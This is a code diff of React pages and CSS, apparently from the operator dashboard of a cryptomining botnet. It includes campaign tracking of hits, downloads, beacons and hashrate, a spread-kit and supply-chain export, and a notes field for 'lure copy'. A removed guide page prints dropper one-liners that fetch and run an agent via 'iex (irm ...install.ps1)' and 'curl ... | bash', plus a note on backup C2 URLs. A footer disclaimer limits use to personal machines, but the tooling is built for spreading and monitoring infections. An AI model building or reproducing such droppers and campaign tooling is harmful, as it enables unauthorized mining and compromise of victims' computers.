<strong>{t.label}</strong> — {t.hint}{' '}
|
||||
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
|
||||
playbook §
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="card" style={{ marginBottom: '1rem' }}>
|
||||
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
|
||||
<h2>Campaign builder</h2>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
|
||||
@@ -177,9 +283,13 @@ export default function EmberwakePage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--cyan">
|
||||
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<h3>Spread kit export</h3>
|
||||
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
|
||||
<p className="form-hint">
|
||||
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
|
||||
{' '}
|
||||
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
|
||||
</p>
|
||||
<div className="emberwake-ab-row">
|
||||
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
|
||||
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
|
||||
@@ -188,7 +298,19 @@ export default function EmberwakePage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--gold">
|
||||
<SupplyChainExportWizard
|
||||
builds={builds}
|
||||
serverBase={serverBase}
|
||||
onServerBaseChange={setServerBase}
|
||||
pinA={pinA}
|
||||
onPinAChange={setPinA}
|
||||
campaign={campaign}
|
||||
onCampaignChange={setCampaign}
|
||||
siteName={siteName}
|
||||
onSiteNameChange={setSiteName}
|
||||
/>
|
||||
|
||||
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
|
||||
<h3>Public build URLs</h3>
|
||||
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate → public builds enabled).</p>
|
||||
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
|
||||
@@ -205,28 +327,194 @@ export default function EmberwakePage() {
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
{campaigns.length > 0 && (
|
||||
<div className="spread-section spread-section--violet">
|
||||
<h3>Campaign hits</h3>
|
||||
<ul className="emberwake-campaign-list">
|
||||
{campaigns.map((c) => (
|
||||
<li key={c.campaign}>
|
||||
<span><code>{c.campaign}</code></span>
|
||||
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div
|
||||
id="campaign-war-room"
|
||||
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
|
||||
>
|
||||
<h3>Campaign War Room</h3>
|
||||
<div className="war-room-toolbar">
|
||||
<span>
|
||||
Live funnel — hits → downloads → first beacon → mining → hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
|
||||
</span>
|
||||
<div className="war-room-toolbar-right">
|
||||
<div className="war-room-view-toggle" role="group" aria-label="War room view">
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setWarRoomView('funnel')}
|
||||
>
|
||||
Funnel board
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setWarRoomView('table')}
|
||||
>
|
||||
Stats table
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setWarRoomView('constellations')}
|
||||
>
|
||||
Constellations
|
||||
</button>
|
||||
</div>
|
||||
<span>
|
||||
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
|
||||
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{warRoom && warRoom.campaigns.length > 0 ? (
|
||||
warRoomView === 'constellations' ? (
|
||||
<CampaignConstellations
|
||||
campaigns={warRoom.campaigns}
|
||||
onSelectCampaign={handleConstellationSelect}
|
||||
/>
|
||||
) : warRoomView === 'funnel' ? (
|
||||
<WarRoomFunnelBoard
|
||||
campaigns={warRoom.campaigns}
|
||||
days={warRoom.days || WAR_ROOM_DAYS}
|
||||
refreshKey={warRoomUpdated}
|
||||
highlightCampaign={highlightedCampaign}
|
||||
/>
|
||||
) : (
|
||||
<div className="war-room-table-wrap">
|
||||
<table className="war-room-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Campaign</th>
|
||||
<th>Hits</th>
|
||||
<th>Downloads</th>
|
||||
<th>Beacon</th>
|
||||
<th>Mining</th>
|
||||
<th>Agents</th>
|
||||
<th>Online</th>
|
||||
<th>Hashrate</th>
|
||||
<th>Conv %</th>
|
||||
<th>7d trend</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{warRoom.campaigns.map((c, rowIndex) => {
|
||||
const max = sparklineMax(c.daily_hits);
|
||||
const beacon = c.first_beacon ?? c.agents;
|
||||
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
|
||||
return (
|
||||
<tr key={c.campaign}>
|
||||
<td>
|
||||
<code>{c.campaign}</code>
|
||||
{c.last_activity ? (
|
||||
<span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
|
||||
{new Date(c.last_activity).toLocaleDateString()}
|
||||
</span>
|
||||
) : null}
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.hits}
|
||||
staggerMs={staggerDelayMs(rowIndex, 0)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.downloads}
|
||||
staggerMs={staggerDelayMs(rowIndex, 1)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={beacon}
|
||||
staggerMs={staggerDelayMs(rowIndex, 2)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={mining}
|
||||
staggerMs={staggerDelayMs(rowIndex, 3)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.agents}
|
||||
staggerMs={staggerDelayMs(rowIndex, 4)}
|
||||
/>
|
||||
</td>
|
||||
<td className="war-room-online">
|
||||
<WarRoomOdometer
|
||||
value={c.online}
|
||||
staggerMs={staggerDelayMs(rowIndex, 5)}
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.hashrate}
|
||||
format={(n) => formatHashrate(n)}
|
||||
staggerMs={staggerDelayMs(rowIndex, 6)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td className="war-room-conv">
|
||||
<WarRoomOdometer
|
||||
value={c.conversion_pct}
|
||||
format={(n) => n.toFixed(1)}
|
||||
suffix="%"
|
||||
staggerMs={staggerDelayMs(rowIndex, 7)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
|
||||
{c.daily_hits.map((v, i) => (
|
||||
<span
|
||||
key={i}
|
||||
style={{ height: `${sparklineBarHeight(v, max)}%` }}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
);
|
||||
})}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)
|
||||
) : (
|
||||
<p className="war-room-empty">
|
||||
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="card">
|
||||
<div className="card operator-deck-card operator-interactive">
|
||||
<h2>Shared notes</h2>
|
||||
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
|
||||
{notesTyping?.active && (
|
||||
<div className="emberwake-typing-banner" role="status">
|
||||
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
|
||||
<span className="emberwake-typing-body">
|
||||
<strong>{notesTyping.user}</strong> is editing notes
|
||||
<span className="typing-dots" aria-hidden>
|
||||
<span />
|
||||
<span />
|
||||
<span />
|
||||
</span>
|
||||
<span className="emberwake-typing-cursor" aria-hidden />
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
<textarea
|
||||
className="input emberwake-notes"
|
||||
rows={6}
|
||||
value={notes}
|
||||
onChange={(e) => setNotes(e.target.value)}
|
||||
onChange={(e) => handleNotesChange(e.target.value)}
|
||||
onBlur={() => stopNotesTyping()}
|
||||
placeholder="Paste lure copy, host paths, rotation schedule…"
|
||||
/>
|
||||
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
|
||||
|
||||
@@ -1,24 +0,0 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import GuidePage from './GuidePage';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
|
||||
describe('GuidePage', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders field guide hero and pipeline section', () => {
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<GuidePage />
|
||||
</MemoryRouter>
|
||||
);
|
||||
expect(screen.getByText('OPERATIONS MANUAL')).toBeTruthy();
|
||||
expect(screen.getByRole('heading', { name: /Field Guide/i })).toBeTruthy();
|
||||
expect(screen.getByRole('heading', { name: /Live pipeline/i })).toBeTruthy();
|
||||
expect(screen.getByRole('heading', { name: /Forge vs Calibrate/i })).toBeTruthy();
|
||||
});
|
||||
});
|
||||
@@ -1,230 +0,0 @@
|
||||
import { Link } from 'react-router-dom';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import {
|
||||
CHEAT_SECTIONS,
|
||||
PIPELINE_STEPS,
|
||||
TROUBLESHOOTING,
|
||||
type CheatStep,
|
||||
} from '../help/cheatSheetContent';
|
||||
import {
|
||||
ForgeCalibrateCompare,
|
||||
PipelineFlow,
|
||||
RoadmapGrid,
|
||||
} from '../components/Visual/VisualComponents';
|
||||
import './Pages.css';
|
||||
|
||||
/** Inline code block with copy button */
|
||||
function CodeBlock({ code }: { code: string }) {
|
||||
const copy = () => navigator.clipboard?.writeText(code);
|
||||
return (
|
||||
<div className="guide-code-block">
|
||||
<pre className="guide-code-pre">{code}</pre>
|
||||
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
|
||||
Copy
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** A single step card — shows body, tips, optional code example, optional nav button */
|
||||
function StepCard({ step }: { step: CheatStep }) {
|
||||
return (
|
||||
<div className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} <span className="guide-step-sub">— {step.subtitle}</span></h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => <li key={t}>{t}</li>)}
|
||||
</ul>
|
||||
)}
|
||||
{step.code && <CodeBlock code={step.code} />}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
|
||||
{step.routeLabel || 'Open'}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** ASCII topology diagram — home LAN control deck */
|
||||
function TopologyDiagram() {
|
||||
const lines = [
|
||||
' ┌──────────────────────────────────────────────────────────────────────┐',
|
||||
' │ Control PC (USB portable or dev install) │',
|
||||
' │ │',
|
||||
' │ ┌──────────────────────────────────────────────────────────────┐ │',
|
||||
' │ │ LAUNCH.bat → AetherForge.exe on 0.0.0.0:8989 │ │',
|
||||
' │ │ Dashboard: http://localhost:8989 │ │',
|
||||
' │ │ Calibrate: set LAN public URL + wallet + TLS pool presets │ │',
|
||||
' │ └────────────────────────┬─────────────────────────────────────┘ │',
|
||||
' └────────────────────────────│─────────────────────────────────────────┘',
|
||||
' │ LAN http://192.168.x.x:8989',
|
||||
' ┌────────────────┼────────────────┐',
|
||||
' ▼ ▼ ▼',
|
||||
' [Worker PC] [Worker PC] [Worker PC]',
|
||||
' forged agent forged agent forged agent',
|
||||
' phones home phones home phones home',
|
||||
];
|
||||
return (
|
||||
<div className="guide-topology">
|
||||
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function GuidePage() {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
|
||||
<h1>Field Guide</h1>
|
||||
<p className="page-subtitle">
|
||||
Everything you need — pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* ── Live pipeline ── */}
|
||||
<NeonCard accent="cyan" className="section" hud>
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Live pipeline
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<PipelineFlow />
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Network topology ── */}
|
||||
<NeonCard accent="amber" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Network topology
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
AetherForge binds to <code className="mono-sm">0.0.0.0:8989</code>. You operate the dashboard at{' '}
|
||||
<code className="mono-sm">http://localhost:8989</code> on the control PC; workers on your LAN use the
|
||||
detected LAN URL baked at Forge time. Optional external tunneling can run on a separate machine later.
|
||||
</p>
|
||||
<TopologyDiagram />
|
||||
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
|
||||
<div className="guide-step-num">💡</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>Home LAN setup</h4>
|
||||
<ul className="guide-tips">
|
||||
<li>Run <code className="mono-sm">LAUNCH.bat</code> (USB) or <code className="mono-sm">devrun.bat</code> (dev)</li>
|
||||
<li>
|
||||
<Link to="/settings" className="guide-link">Calibrate</Link> → Use detected LAN → Use best defaults → Save
|
||||
</li>
|
||||
<li>Forge Control Endpoint: <code className="mono-sm">http://192.168.x.x:8989</code> (your LAN IP)</li>
|
||||
<li>Backup C2 URLs auto-fill from other LAN IPs on the control host</li>
|
||||
<li>First login: LAUNCH window or <code className="mono-sm">data\login-credentials.json</code></li>
|
||||
<li>Optional: external tunnel on another machine can forward to this PC on port 8989</li>
|
||||
</ul>
|
||||
<CodeBlock code={`# Typical flow:
|
||||
LAUNCH.bat
|
||||
# Browser: http://localhost:8989
|
||||
# Calibrate public URL: http://192.168.1.50:8989
|
||||
# Forge control endpoint: same LAN URL`} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Forge vs Calibrate ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Forge vs Calibrate — what goes where
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<ForgeCalibrateCompare />
|
||||
</section>
|
||||
|
||||
{/* ── Dropper one-liners quick-ref ── */}
|
||||
<NeonCard accent="green" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Dropper one-liners
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — replace the host with your
|
||||
Calibrate LAN URL (or your optional external tunnel URL). Terminal closes automatically after the agent launches.
|
||||
</p>
|
||||
<div className="guide-dropper-grid">
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Windows</span>
|
||||
<CodeBlock code={`iex (irm 'http://192.168.1.50:8989/install.ps1')`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Linux / macOS</span>
|
||||
<CodeBlock code={`curl -sL http://192.168.1.50:8989/install.sh | bash`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Direct binary</span>
|
||||
<CodeBlock code={`http://192.168.1.50:8989/get?os=windows
|
||||
http://192.168.1.50:8989/get?os=linux
|
||||
http://192.168.1.50:8989/get`} />
|
||||
</div>
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Dropper endpoints are unauthenticated — the URL is the gate. Dashboard requires login. Workers must be on a network that can reach your LAN control URL.
|
||||
</p>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Detailed section steps ── */}
|
||||
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
|
||||
<section key={section.id} className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> {section.title}
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
|
||||
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
))}
|
||||
|
||||
{/* ── Step-by-step pipeline detail ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Step-by-step (pipeline detail)
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
|
||||
{/* ── Troubleshooting ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Troubleshooting
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<NeonCard accent="amber">
|
||||
{TROUBLESHOOTING.map((t) => (
|
||||
<div key={t.problem} className="trouble-card">
|
||||
<strong>{t.problem}</strong>
|
||||
<span>{t.fix}</span>
|
||||
</div>
|
||||
))}
|
||||
</NeonCard>
|
||||
</section>
|
||||
|
||||
{/* ── Roadmap ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Feature status
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '1rem' }}>
|
||||
Shipped (high), in progress (medium), and planned (low) capabilities.
|
||||
</p>
|
||||
<RoadmapGrid />
|
||||
</section>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
502
server/web/src/pages/MissionDeckPage.css
Normal file
502
server/web/src/pages/MissionDeckPage.css
Normal file
@@ -0,0 +1,502 @@
|
||||
/* Mission Deck — video-game loadout screen (/mission-deck) */
|
||||
|
||||
|
||||
|
||||
.mission-deck {
|
||||
|
||||
--deck-accent: #ff8c3a;
|
||||
|
||||
--deck-accent-dim: rgba(255, 140, 58, 0.35);
|
||||
|
||||
--deck-glow: rgba(255, 140, 58, 0.55);
|
||||
|
||||
--loadout-grid-gap: 1.25rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-deck .deck-hero::after {
|
||||
|
||||
background: linear-gradient(90deg, var(--deck-accent), transparent);
|
||||
|
||||
box-shadow: 0 0 14px var(--deck-glow);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-deck .deck-eyebrow {
|
||||
|
||||
color: var(--deck-accent);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-deck-ops-dock {
|
||||
|
||||
display: flex;
|
||||
|
||||
flex-wrap: wrap;
|
||||
|
||||
gap: 0.5rem;
|
||||
|
||||
align-items: center;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* ── Three-column loadout grid ── */
|
||||
|
||||
|
||||
|
||||
.mission-loadout {
|
||||
|
||||
display: grid;
|
||||
|
||||
grid-template-columns: minmax(200px, 240px) minmax(280px, 1fr) minmax(260px, 320px);
|
||||
|
||||
gap: var(--loadout-grid-gap);
|
||||
|
||||
align-items: start;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
@media (max-width: 1100px) {
|
||||
|
||||
.mission-loadout {
|
||||
|
||||
grid-template-columns: 1fr 1fr;
|
||||
|
||||
grid-template-areas:
|
||||
|
||||
'modes kit'
|
||||
|
||||
'preview preview';
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-loadout-modes { grid-area: modes; }
|
||||
|
||||
.mission-loadout-preview { grid-area: preview; }
|
||||
|
||||
.mission-loadout-kit { grid-area: kit; }
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
@media (max-width: 680px) {
|
||||
|
||||
.mission-loadout {
|
||||
|
||||
grid-template-columns: 1fr;
|
||||
|
||||
grid-template-areas:
|
||||
|
||||
'modes'
|
||||
|
||||
'preview'
|
||||
|
||||
'kit';
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-loadout-col {
|
||||
|
||||
display: flex;
|
||||
|
||||
flex-direction: column;
|
||||
|
||||
gap: 0.85rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-col-label {
|
||||
|
||||
margin: 0;
|
||||
|
||||
font-size: 0.68rem;
|
||||
|
||||
letter-spacing: 0.14em;
|
||||
|
||||
text-transform: uppercase;
|
||||
|
||||
color: var(--deck-accent);
|
||||
|
||||
padding-left: 0.15rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* ── LEFT: operation mode chips ── */
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chips {
|
||||
|
||||
display: flex;
|
||||
|
||||
flex-direction: column;
|
||||
|
||||
gap: 0.55rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip {
|
||||
|
||||
position: relative;
|
||||
|
||||
display: flex;
|
||||
|
||||
align-items: flex-start;
|
||||
|
||||
gap: 0.65rem;
|
||||
|
||||
width: 100%;
|
||||
|
||||
padding: 0.85rem 0.75rem;
|
||||
|
||||
border-radius: 10px;
|
||||
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
|
||||
background: rgba(0, 0, 0, 0.38);
|
||||
|
||||
cursor: pointer;
|
||||
|
||||
text-align: left;
|
||||
|
||||
color: inherit;
|
||||
|
||||
font: inherit;
|
||||
|
||||
transition:
|
||||
|
||||
transform 0.22s ease,
|
||||
|
||||
border-color 0.25s ease,
|
||||
|
||||
box-shadow 0.3s ease,
|
||||
|
||||
background 0.25s ease;
|
||||
|
||||
overflow: hidden;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip:hover:not(:disabled) {
|
||||
|
||||
transform: translateX(4px);
|
||||
|
||||
border-color: rgba(255, 255, 255, 0.22);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip.selected {
|
||||
|
||||
border-color: var(--chip-accent, var(--deck-accent));
|
||||
|
||||
background: color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 10%, rgba(0, 0, 0, 0.45));
|
||||
|
||||
box-shadow:
|
||||
|
||||
0 0 22px color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 30%, transparent),
|
||||
|
||||
inset 0 0 0 1px color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 25%, transparent);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip:disabled {
|
||||
|
||||
opacity: 0.55;
|
||||
|
||||
cursor: not-allowed;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-icon {
|
||||
|
||||
font-size: 1.35rem;
|
||||
|
||||
line-height: 1;
|
||||
|
||||
flex-shrink: 0;
|
||||
|
||||
filter: drop-shadow(0 0 6px var(--chip-accent, var(--deck-accent)));
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-body {
|
||||
|
||||
display: flex;
|
||||
|
||||
flex-direction: column;
|
||||
|
||||
gap: 0.2rem;
|
||||
|
||||
min-width: 0;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-label {
|
||||
|
||||
font-family: var(--font-tech, monospace);
|
||||
|
||||
font-size: 0.82rem;
|
||||
|
||||
letter-spacing: 0.06em;
|
||||
|
||||
text-transform: uppercase;
|
||||
|
||||
color: var(--chip-accent, var(--deck-accent));
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-blurb {
|
||||
|
||||
font-size: 0.7rem;
|
||||
|
||||
color: var(--text-secondary);
|
||||
|
||||
line-height: 1.35;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-glow {
|
||||
|
||||
position: absolute;
|
||||
|
||||
inset: 0;
|
||||
|
||||
pointer-events: none;
|
||||
|
||||
opacity: 0;
|
||||
|
||||
transition: opacity 0.3s ease;
|
||||
|
||||
background: linear-gradient(
|
||||
|
||||
105deg,
|
||||
|
||||
transparent 40%,
|
||||
|
||||
color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 18%, transparent) 100%
|
||||
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip.selected .loadout-chip-glow {
|
||||
|
||||
opacity: 1;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-forge-hint {
|
||||
|
||||
margin: 0.25rem 0 0;
|
||||
|
||||
font-size: 0.75rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* ── CENTER: 3D preview stage ── */
|
||||
|
||||
|
||||
|
||||
.loadout-preview-card {
|
||||
|
||||
text-align: center;
|
||||
|
||||
padding: 1.25rem 1rem 1.5rem;
|
||||
|
||||
--preview-accent: var(--deck-accent);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-stage {
|
||||
|
||||
position: relative;
|
||||
|
||||
height: 180px;
|
||||
|
||||
margin: 0 auto 1.25rem;
|
||||
|
||||
max-width: 260px;
|
||||
|
||||
display: flex;
|
||||
|
||||
align-items: center;
|
||||
|
||||
justify-content: center;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-ring {
|
||||
|
||||
position: absolute;
|
||||
|
||||
inset: 0;
|
||||
|
||||
border-radius: 50%;
|
||||
|
||||
border: 2px solid color-mix(in srgb, var(--preview-accent) 45%, transparent);
|
||||
|
||||
box-shadow:
|
||||
|
||||
0 0 30px color-mix(in srgb, var(--preview-accent) 35%, transparent),
|
||||
|
||||
inset 0 0 24px color-mix(in srgb, var(--preview-accent) 15%, transparent);
|
||||
|
||||
animation: loadout-ring-spin 18s linear infinite;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-ring::before {
|
||||
|
||||
content: '';
|
||||
|
||||
position: absolute;
|
||||
|
||||
inset: 12px;
|
||||
|
||||
border-radius: 50%;
|
||||
|
||||
border: 1px dashed color-mix(in srgb, var(--preview-accent) 30%, transparent);
|
||||
|
||||
animation: loadout-ring-spin 12s linear infinite reverse;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-avatar {
|
||||
|
||||
position: relative;
|
||||
|
||||
z-index: 1;
|
||||
|
||||
width: 96px;
|
||||
|
||||
height: 96px;
|
||||
|
||||
border-radius: 16px;
|
||||
|
||||
display: flex;
|
||||
|
||||
align-items: center;
|
||||
|
||||
justify-content: center;
|
||||
|
||||
background: linear-gradient(
|
||||
|
||||
145deg,
|
||||
|
||||
color-mix(in srgb, var(--preview-accent) 22%, rgba(0, 0, 0, 0.6)),
|
||||
|
||||
rgba(0, 0, 0, 0.75)
|
||||
|
||||
);
|
||||
|
||||
border: 1px solid color-mix(in srgb, var(--preview-accent) 50%, transparent);
|
||||
|
||||
box-shadow: 0 0 28px color-mix(in srgb, var(--preview-accent) 40%, transparent);
|
||||
|
||||
transform: perspective(600px) rotateX(8deg);
|
||||
|
||||
transition: transform 0.4s cubic-bezier(0.23, 1, 0.32, 1);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-card:hover .loadout-preview-avatar {
|
||||
|
||||
transform: perspective(600px) rotateX(4deg) translateY(-6px) scale(1.04);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-sigil {
|
||||
|
||||
font-size: 2.4rem;
|
||||
|
||||
color: var(--preview-accent);
|
||||
|
||||
text-shadow: 0 0 16px var(--preview-accent);
|
||||
|
||||
animation: loadout-sigil-pulse 2.8s ease-in-out infinite;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-scanlines {
|
||||
|
||||
position: absolute;
|
||||
|
||||
inset: 0;
|
||||
|
||||
border-radius: 50%;
